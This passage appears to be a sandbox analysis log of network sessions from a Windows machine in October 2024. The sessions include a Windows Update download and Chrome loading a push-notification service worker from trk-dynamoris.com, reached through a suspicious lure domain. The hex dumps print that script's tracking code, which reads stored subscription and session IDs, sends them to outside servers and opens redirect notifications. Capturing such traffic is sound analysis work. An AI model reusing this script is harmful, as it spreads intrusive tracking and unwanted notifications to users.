b=G.apply(self.indexedDB,["pushPlatFormDb",2]);b.onerror=function(){console.log("error db"+b.error),a(null)},b.onsuccess=function(){var c=b.result,d=c
2024-10-03 16:18:17 UTC	1369	IN	Data Raw: 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 61 29 7b 69 28 22 65 78 74 5f 64 62 5f 65 72 72 6f 72 22 2c 61 2c 6d 29 7d 7d 2c 64 2e 67 65 74 28 22 73 65 73 73 69 6f 6e 49 64 73 22 29 2e 6f 6e 73 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 29 74 72 79 7b 66 3d 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 61 29 7b 69 28 22 65 78 74 5f 64 62 5f 65 72 72 6f 72 22 2c 61 2c 6d 29 7d 7d 2c 64 2e 67 65 74 28 22 75 74 6d 48 61 73 68 22 29 2e 6f 6e 73 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 29 74 72 79 7b 6a 3d 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c Data Ascii: a.target.result.value}catch(a){i("ext_db_error",a,m)}},d.get("sessionIds").onsuccess=function(a){if(a.target.result)try{f=a.target.result.value}catch(a){i("ext_db_error",a,m)}},d.get("utmHash").onsuccess=function(a){if(a.target.result)try{j=a.target.resul
2024-10-03 16:18:17 UTC	1369	IN	Data Raw: 29 7b 6c 65 74 20 64 3b 74 72 79 7b 64 3d 46 2e 61 70 70 6c 79 28 74 68 69 73 2c 62 29 7d 63 61 74 63 68 7b 7d 6c 65 74 20 65 3d 62 2e 6d 65 73 73 61 67 65 3b 65 3d 6e 75 6c 6c 21 3d 64 26 26 22 7b 7d 22 21 3d 3d 64 3f 64 3a 6e 75 6c 6c 3d 3d 65 3f 62 3a 65 2b 22 3a 3a 22 2b 62 2e 73 74 61 63 6b 3b 6c 65 74 20 66 3d 22 68 74 74 70 73 3a 2f 2f 65 76 65 6e 74 2e 74 72 6b 2d 64 79 6e 61 6d 6f 72 69 73 2e 63 6f 6d 2f 72 65 67 69 73 74 65 72 2f 65 76 65 6e 74 2f 76 39 65 31 31 38 6d 65 7a 38 3f 65 76 65 6e 74 3d 22 2b 75 28 61 29 2b 22 26 65 72 72 6f 72 3d 22 2b 75 28 65 29 2b 22 26 76 65 72 73 69 6f 6e 3d 22 2b 63 3b 66 65 74 63 68 28 66 2c 7b 6d 65 74 68 6f 64 3a 22 67 65 74 22 2c 68 65 61 64 65 72 73 3a 7b 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 3a 22 61 Data Ascii: ){let d;try{d=F.apply(this,b)}catch{}let e=b.message;e=null!=d&&"{}"!==d?d:null==e?b:e+"::"+b.stack;let f="https://event.trk-dynamoris.com/register/event/v9e118mez8?event="+u(a)+"&error="+u(e)+"&version="+c;fetch(f,{method:"get",headers:{"Content-type":"a
2024-10-03 16:18:17 UTC	1369	IN	Data Raw: 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 61 6d 65 3d 22 41 72 72 61 79 22 2c 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 61 6d 65 3d 22 4f 62 6a 65 63 74 22 2c 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 21 3d 3d 52 65 73 70 6f 6e 73 65 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 21 3d 3d 41 72 72 61 79 26 26 22 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 22 21 3d 3d 62 26 26 22 66 6f 72 45 61 63 68 22 21 3d 3d 62 26 26 22 70 75 73 68 22 21 3d 3d 62 26 26 22 73 74 61 74 75 73 22 21 3d 3d 62 26 26 22 41 72 72 61 79 22 21 3d 3d 61 2e 6e 61 6d 65 26 26 22 52 65 73 70 6f 6e 73 65 22 21 3d 3d 61 2e 6e 61 6d 65 26 26 22 6c 6f 67 22 21 3d 3d 62 29 72 65 74 75 72 6e 22 77 72 69 74 61 62 6c 65 22 69 6e 20 63 26 Data Ascii: on(a,b,c){if(Array.prototype.name="Array",Object.prototype.name="Object",a.constructor!==Response&&a.constructor!==Array&&"defineProperty"!==b&&"forEach"!==b&&"push"!==b&&"status"!==b&&"Array"!==a.name&&"Response"!==a.name&&"log"!==b)return"writable"in c&
2024-10-03 16:18:17 UTC	1369	IN	Data Raw: 20 66 3d 7b 74 69 74 6c 65 3a 63 2e 74 69 74 6c 65 2c 62 6f 64 79 3a 63 2e 6d 65 73 73 61 67 65 2c 74 61 67 3a 63 2e 74 61 67 2c 72 65 6e 6f 74 69 66 79 3a 63 2e 72 65 6e 6f 74 69 66 79 2c 69 63 6f 6e 3a 63 2e 69 63 6f 6e 2c 62 61 64 67 65 3a 63 2e 62 61 64 67 65 2c 72 65 71 75 69 72 65 49 6e 74 65 72 61 63 74 69 6f 6e 3a 21 30 2c 61 63 74 69 6f 6e 73 3a 64 2c 64 61 74 61 3a 7b 75 72 6c 3a 63 2e 72 65 64 69 72 65 63 74 2c 5a 6b 78 3a 21 30 2c 63 49 64 3a 63 2e 63 61 6d 70 61 69 67 6e 49 64 2c 70 73 49 64 3a 63 2e 70 75 73 68 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 2c 61 70 69 49 64 3a 63 2e 61 70 69 49 64 2c 70 69 78 65 6c 73 3a 63 2e 70 69 78 65 6c 73 2c 70 69 78 65 6c 56 61 6c 75 65 73 3a 63 2e 70 69 78 65 6c 56 61 6c 75 65 73 2c 72 65 74 75 72 6e 3a Data Ascii: f={title:c.title,body:c.message,tag:c.tag,renotify:c.renotify,icon:c.icon,badge:c.badge,requireInteraction:!0,actions:d,data:{url:c.redirect,Zkx:!0,cId:c.campaignId,psId:c.pushSubscriptionId,apiId:c.apiId,pixels:c.pixels,pixelValues:c.pixelValues,return:
2024-10-03 16:18:17 UTC	1173	IN	Data Raw: 2f 65 78 74 2d 64 61 74 61 2f 22 2b 22 32 39 37 38 38 63 61 39 37 36 31 61 34 62 37 38 61 62 63 66 62 31 63 33 65 61 62 62 38 65 36 38 22 2c 7b 6d 65 74 68 6f 64 3a 22 70 6f 73 74 22 2c 68 65 61 64 65 72 73 3a 7b 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 7d 2c 62 6f 64 79 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 72 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 64 28 61 2c 72 2e 75 74 6d 48 61 73 68 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 26 26 63 28 61 29 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 28 61 29 2c 69 28 22 65 78 74 5f 65 72 72 6f 72 5f 66 65 74 63 68 69 6e 67 5f 70 75 73 68 22 2c 61 2c 6d 29 7d Data Ascii: /ext-data/"+"29788ca9761a4b78abcfb1c3eabb8e68",{method:"post",headers:{"Content-type":"application/json"},body:JSON.stringify(r)}).then(function(a){return d(a,r.utmHash)}).then(function(a){a&&c(a)}).catch(function(a){c(a),i("ext_error_fetching_push",a,m)}
2024-10-03 16:18:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49783	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:17 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5STWVyoMfP3orr2&MD=ZgDDNME8 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-03 16:18:17 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 179bb553-5b6c-49ff-b0b2-062481c5734f MS-RequestId: 238aec9c-4810-4b2e-b1b0-49a2303dfc82 MS-CV: eLGn26rlvECJoBl1.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 03 Oct 2024 16:18:17 GMT Connection: close Content-Length: 24490
2024-10-03 16:18:17 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-03 16:18:17 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49786	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:17 UTC	449	OUT	GET /cdn-cgi/challenge-platform/h/g/jsd/r/8cce3f1f68d419aa HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:18 UTC	506	IN	HTTP/1.1 405 Method Not Allowed Date: Thu, 03 Oct 2024 16:18:18 GMT Content-Length: 0 Connection: close allow: POST Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tMaPxRj%2F3cvWVmAFQeidWu8iuI2OxHZvPmYAAkmEbUwHs9qGTLvf3xyMNHFS16iYk%2FyTb6g3s5b1v0xz0VHchPiZweKMSzUEbEBNy3oCFkqAJ7stZVL3CWsefwvDZ348l2m85pKvgA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f4e9bb9c343-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49789	172.67.212.151	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:18 UTC	438	OUT	GET /scripts/sw/v9e118mez8 HTTP/1.1 Host: trk-dynamoris.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pawern.markiwalk.lat/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:18 UTC	1344	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:18 GMT Content-Type: application/javascript;charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: 0 Cache-Control: max-age=14400, must-revalidate x-xss-protection: 1; mode=block pragma: no-cache x-frame-options: SAMEORIGIN referrer-policy: strict-origin-when-cross-origin content-security-policy: default-src 'self'; frame-src 'self' data:; connect-src 'self' https://cdn-media-2020.s3.amazonaws.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' 'unsafe-inline'; img-src * 'self' https://* blob: data:; font-src 'self' data: vary: Origin vary: Access-Control-Request-Method vary: Access-Control-Request-Headers x-content-type-options: nosniff permissions-policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() CF-Cache-Status: HIT Age: 4951 Last-Modified: Thu, 03 Oct 2024 14:55:47 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gDHfZ4ArQn4H35vPBw7yz8weG3bDez0BlsMZLXMPTXzYX25u3jPfCdRlPT4NGpbcfSVqwCQCu4oXIdkedZRjnoIRh7BQm4TLH0UGhQo3zK3LLkO%2BjWUHemeAvllC09mh9fb%2FZg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-10-03 16:18:18 UTC	32	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 63 63 65 33 66 35 31 62 61 66 32 30 66 33 66 2d 45 57 52 0d 0a 0d 0a Data Ascii: CF-RAY: 8cce3f51baf20f3f-EWR
2024-10-03 16:18:18 UTC	1369	IN	Data Raw: 32 64 62 31 0d 0a 27 75 73 65 20 73 74 72 69 63 74 27 3b 63 6f 6e 73 74 20 65 6e 76 3d 7b 6c 6f 67 3a 21 30 2c 72 65 74 72 79 3a 31 30 2c 73 6c 65 65 70 54 69 6d 65 3a 31 65 34 2c 64 6f 6d 61 69 6e 3a 22 70 75 73 68 2e 74 72 6b 2d 64 79 6e 61 6d 6f 72 69 73 2e 63 6f 6d 22 2c 6e 6f 74 69 66 69 63 61 74 69 6f 6e 44 6f 6d 61 69 6e 3a 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2e 74 72 6b 2d 64 79 6e 61 6d 6f 72 69 73 2e 63 6f 6d 22 2c 73 75 62 73 63 72 69 70 74 69 6f 6e 44 6f 6d 61 69 6e 3a 22 73 75 62 73 63 72 69 70 74 69 6f 6e 2e 74 72 6b 2d 64 79 6e 61 6d 6f 72 69 73 2e 63 6f 6d 22 2c 65 76 65 6e 74 44 6f 6d 61 69 6e 3a 22 65 76 65 6e 74 2e 74 72 6b 2d 64 79 6e 61 6d 6f 72 69 73 2e 63 6f 6d 22 7d 2c 61 70 70 6c 69 63 61 74 69 6f 6e 53 65 72 76 65 72 50 75 62 Data Ascii: 2db1'use strict';const env={log:!0,retry:10,sleepTime:1e4,domain:"push.trk-dynamoris.com",notificationDomain:"notification.trk-dynamoris.com",subscriptionDomain:"subscription.trk-dynamoris.com",eventDomain:"event.trk-dynamoris.com"},applicationServerPub
2024-10-03 16:18:18 UTC	1369	IN	Data Raw: 28 22 70 75 73 68 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 22 29 2e 6f 6e 73 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 29 74 72 79 7b 62 3d 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 61 29 7b 7d 7d 2c 65 2e 67 65 74 28 22 73 65 67 22 29 2e 6f 6e 73 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 29 74 72 79 7b 63 3d 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 61 29 7b 7d 7d 2c 65 2e 67 65 74 28 22 73 65 73 73 69 6f 6e 49 64 73 22 29 2e 6f 6e 73 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 2e 74 61 72 67 65 74 2e 72 65 73 Data Ascii: ("pushSubscriptionId").onsuccess=function(a){if(a.target.result)try{b=a.target.result.value}catch(a){}},e.get("seg").onsuccess=function(a){if(a.target.result)try{c=a.target.result.value}catch(a){}},e.get("sessionIds").onsuccess=function(a){if(a.target.res
2024-10-03 16:18:18 UTC	1369	IN	Data Raw: 20 73 65 74 43 6c 69 63 6b 44 61 74 61 49 6e 53 74 6f 72 65 28 61 2c 62 29 7b 76 61 72 20 63 3d 67 65 74 48 6f 75 72 42 79 54 69 6d 65 5a 6f 6e 65 28 29 2c 64 3d 7b 6e 61 6d 65 3a 22 70 75 73 68 41 70 69 49 64 73 22 7d 3b 62 5b 30 5d 2e 63 6c 69 63 6b 55 6e 69 78 44 61 74 65 3d 63 2e 75 6e 69 78 2c 64 2e 76 61 6c 75 65 3d 62 3b 74 72 79 7b 61 2e 67 65 74 28 22 70 75 73 68 41 70 69 49 64 73 22 29 2e 6f 6e 73 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 3d 3d 6e 75 6c 6c 3f 61 2e 70 75 74 28 64 29 3a 28 62 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 2e 76 61 6c 75 65 3d 3d 6e 75 6c 6c 26 26 28 62 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 2e 76 61 6c 75 65 3d 5b 5d 29 2c 62 2e 74 61 72 67 65 74 2e 72 65 Data Ascii: setClickDataInStore(a,b){var c=getHourByTimeZone(),d={name:"pushApiIds"};b[0].clickUnixDate=c.unix,d.value=b;try{a.get("pushApiIds").onsuccess=function(b){b.target.result==null?a.put(d):(b.target.result.value==null&&(b.target.result.value=[]),b.target.re
2024-10-03 16:18:18 UTC	1369	IN	Data Raw: 6a 73 6f 6e 22 7d 2c 62 6f 64 79 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 62 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 2e 6f 6b 29 7b 6c 65 74 20 62 3d 61 2e 6a 73 6f 6e 28 29 3b 72 65 74 75 72 6e 20 62 7d 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 73 6d 50 75 73 68 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 3d 61 2e 69 64 2c 67 65 74 53 74 6f 72 65 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 3d 7b 6e 61 6d 65 3a 22 70 75 73 68 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 22 7d 3b 62 2e 76 61 6c 75 65 3d 73 6d 50 75 73 68 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 2c 73 6d 50 75 73 68 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 26 26 61 2e 70 75 74 28 62 29 7d 29 7d 29 2e 63 61 74 63 68 28 Data Ascii: json"},body:JSON.stringify(b)}).then(function(a){if(a.ok){let b=a.json();return b}}).then(function(a){smPushSubscriptionId=a.id,getStore(function(a){const b={name:"pushSubscriptionId"};b.value=smPushSubscriptionId,smPushSubscriptionId&&a.put(b)})}).catch(
2024-10-03 16:18:18 UTC	1369	IN	Data Raw: 72 73 69 6f 6e 2c 6a 2e 70 75 73 68 53 69 74 65 49 64 3d 73 69 74 65 49 64 2c 6a 2e 61 70 69 4b 65 79 3d 73 6d 41 50 49 4b 65 79 2c 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 22 2b 65 6e 76 2e 6e 6f 74 69 66 69 63 61 74 69 6f 6e 44 6f 6d 61 69 6e 2b 22 2f 74 72 61 63 6b 69 6e 67 2f 67 65 74 6e 6f 74 69 66 69 63 61 74 69 6f 6e 22 2c 7b 6d 65 74 68 6f 64 3a 22 70 6f 73 74 22 2c 68 65 61 64 65 72 73 3a 7b 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 7d 2c 62 6f 64 79 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 6a 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 69 66 28 32 30 30 3d 3d 3d 62 2e 73 74 61 74 75 73 29 7b 6c 65 74 20 63 3d 62 2e 6a 73 6f 6e 28 29 3b 72 65 74 75 72 6e 20 65 Data Ascii: rsion,j.pushSiteId=siteId,j.apiKey=smAPIKey,fetch("https://"+env.notificationDomain+"/tracking/getnotification",{method:"post",headers:{"Content-type":"application/json"},body:JSON.stringify(j)}).then(function(b){if(200===b.status){let c=b.json();return e
2024-10-03 16:18:18 UTC	1369	IN	Data Raw: 29 2e 63 61 74 63 68 28 61 3d 3e 7b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 61 2e 6d 65 73 73 61 67 65 29 2c 6c 6f 67 53 57 45 76 65 6e 74 28 22 65 72 72 6f 72 5f 66 65 74 63 68 69 6e 67 5f 70 69 78 65 6c 22 2c 61 2c 76 65 72 73 69 6f 6e 29 7d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 65 6e 64 4e 6f 74 69 66 69 63 61 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 2e 74 69 74 6c 65 21 3d 3d 76 6f 69 64 20 30 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 61 2e 74 69 74 6c 65 26 26 22 41 75 74 6f 22 21 3d 61 2e 6d 65 73 73 61 67 65 26 26 22 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 22 21 3d 61 2e 74 69 74 6c 65 26 26 21 61 2e 73 74 61 74 75 73 29 7b 63 6f 6e 73 74 20 63 3d 61 2e 74 69 74 6c 65 2c 64 3d 61 72 72 61 79 52 6f 74 61 74 65 28 61 Data Ascii: ).catch(a=>{console.error(a.message),logSWEvent("error_fetching_pixel",a,version)})}}function sendNotification(a,b){if(a.title!==void 0&&"undefined"!==a.title&&"Auto"!=a.message&&"Internal Server Error"!=a.title&&!a.status){const c=a.title,d=arrayRotate(a
2024-10-03 16:18:18 UTC	1369	IN	Data Raw: 74 69 6f 6e 2e 64 61 74 61 2e 75 72 6c 3b 61 2e 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2e 64 61 74 61 2e 72 65 74 75 72 6e 2e 70 75 73 68 41 70 69 49 64 73 26 26 73 65 74 43 6c 69 63 6b 44 61 74 61 28 61 2e 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2e 64 61 74 61 2e 72 65 74 75 72 6e 2e 70 75 73 68 41 70 69 49 64 73 29 2c 61 2e 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2e 63 6c 6f 73 65 28 29 2c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 26 26 62 2e 73 74 61 72 74 73 57 69 74 68 28 22 68 74 74 70 22 29 26 26 61 2e 77 61 69 74 55 6e 74 69 6c 28 63 6c 69 65 6e 74 73 2e 6d 61 74 63 68 41 6c 6c 28 7b 74 79 70 65 3a 22 77 69 6e 64 6f 77 22 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 63 6c 69 65 6e 74 73 2e 6f 70 65 6e 57 69 6e 64 6f Data Ascii: tion.data.url;a.notification.data.return.pushApiIds&&setClickData(a.notification.data.return.pushApiIds),a.notification.close(),"undefined"!=typeof b&&b.startsWith("http")&&a.waitUntil(clients.matchAll({type:"window"}).then(function(){if(clients.openWindo
2024-10-03 16:18:18 UTC	1369	IN	Data Raw: 73 74 61 74 65 22 2c 41 4d 50 5f 53 55 42 53 43 52 49 42 45 3a 22 61 6d 70 2d 77 65 62 2d 70 75 73 68 2d 73 75 62 73 63 72 69 62 65 22 2c 41 4d 50 5f 55 4e 53 55 42 53 43 52 49 42 45 3a 22 61 6d 70 2d 77 65 62 2d 70 75 73 68 2d 75 6e 73 75 62 73 63 72 69 62 65 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 67 65 74 48 6f 75 72 42 79 54 69 6d 65 5a 6f 6e 65 28 29 7b 76 61 72 20 61 3d 6e 65 77 20 44 61 74 65 28 29 2e 74 6f 4c 6f 63 61 6c 65 53 74 72 69 6e 67 28 22 65 6e 2d 55 53 22 2c 7b 74 69 6d 65 5a 6f 6e 65 3a 22 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 22 2c 68 6f 75 72 31 32 3a 21 31 7d 29 2c 62 3d 6e 65 77 20 44 61 74 65 28 61 29 2e 74 6f 49 53 4f 53 74 72 69 6e 67 28 29 3b 72 65 74 75 72 6e 7b 64 61 74 65 3a 62 2c 75 6e 69 78 3a 44 61 74 65 2e 70 61 72 73 Data Ascii: state",AMP_SUBSCRIBE:"amp-web-push-subscribe",AMP_UNSUBSCRIBE:"amp-web-push-unsubscribe"};function getHourByTimeZone(){var a=new Date().toLocaleString("en-US",{timeZone:"America/Chicago",hour12:!1}),b=new Date(a).toISOString();return{date:b,unix:Date.pars
2024-10-03 16:18:18 UTC	753	IN	Data Raw: 7d 66 75 6e 63 74 69 6f 6e 20 62 72 6f 61 64 63 61 73 74 52 65 70 6c 79 28 61 2c 62 29 7b 73 65 6c 66 2e 63 6c 69 65 6e 74 73 2e 6d 61 74 63 68 41 6c 6c 28 29 2e 74 68 65 6e 28 63 3d 3e 7b 66 6f 72 28 6c 65 74 20 64 3d 30 3b 64 3c 63 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 63 6f 6e 73 74 20 65 3d 63 5b 64 5d 3b 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 63 6f 6d 6d 61 6e 64 3a 61 2c 70 61 79 6c 6f 61 64 3a 62 7d 29 7d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 6c 42 61 73 65 36 34 54 6f 55 69 6e 74 38 41 72 72 61 79 28 61 29 7b 63 6f 6e 73 74 20 62 3d 22 3d 22 2e 72 65 70 65 61 74 28 28 34 2d 61 2e 6c 65 6e 67 74 68 25 34 29 25 34 29 2c 63 3d 28 61 2b 62 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2d 2f 67 2c 22 2b 22 29 2e 72 65 70 6c 61 63 65 28 2f 5f 2f 67 2c Data Ascii: }function broadcastReply(a,b){self.clients.matchAll().then(c=>{for(let d=0;d<c.length;d++){const e=c[d];e.postMessage({command:a,payload:b})}})}function urlBase64ToUint8Array(a){const b="=".repeat((4-a.length%4)%4),c=(a+b).replace(/\-/g,"+").replace(/_/g,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49790	35.190.80.1	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
